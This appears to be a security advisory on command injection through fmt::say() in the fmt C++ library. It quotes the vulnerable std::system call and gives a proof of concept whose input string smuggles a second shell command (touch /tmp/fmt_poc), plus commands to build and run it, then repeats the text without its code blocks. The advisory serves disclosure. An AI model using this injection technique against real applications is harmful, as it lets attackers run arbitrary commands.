Summary
fmt::say() constructs a shell command via std::system(format("say \"{}\"", user_data)). The formatted argument is never escaped or validated, so attackers can inject arbitrary commands by sending characters such as ", ;, `, or $(). Applications that include <fmt/os.h> from versions 8.0.0 through 11.x, compile on macOS, use C++17 or earlier, and pass untrusted data to fmt::say() are vulnerable to command injection.
Details
Vulnerable Code (include/fmt/os.h:165-169):
#ifdef __OSX__
template <typename S, typename... Args, typename Char = char_t<S>>
void say(const S& fmt, Args&&... args) {
std::system(format("say \"{}\"", format(fmt, args...)).c_str());
}
#endif
PoC
#include <fmt/os.h>
int main() {
// The trailing payload escapes the quoted context and executes touch.
fmt::say("demo {}", "\"; touch /tmp/fmt_poc; echo \"");
return 0;
}
- Build fmt normally (or use header-only mode).
- Save the provided PoC (
poc.cpp) from this repository.
- Compile and run:
clang++ -std=c++17 -DFMT_HEADER_ONLY -D__OSX__ -I include poc.cpp -o poc
rm -f /tmp/fmt_poc && ./poc && ls -l /tmp/fmt_poc
Impact
Command Injection: Attacker-controlled commands run with the privileges of the embedding application.
Summary
fmt::say()constructs a shell command viastd::system(format("say \"{}\"", user_data)). The formatted argument is never escaped or validated, so attackers can inject arbitrary commands by sending characters such as",;,`, or$(). Applications that include<fmt/os.h>from versions 8.0.0 through 11.x, compile on macOS, use C++17 or earlier, and pass untrusted data tofmt::say()are vulnerable to command injection.Details
Vulnerable Code (
include/fmt/os.h:165-169):PoC
poc.cpp) from this repository.Impact
Command Injection: Attacker-controlled commands run with the privileges of the embedding application.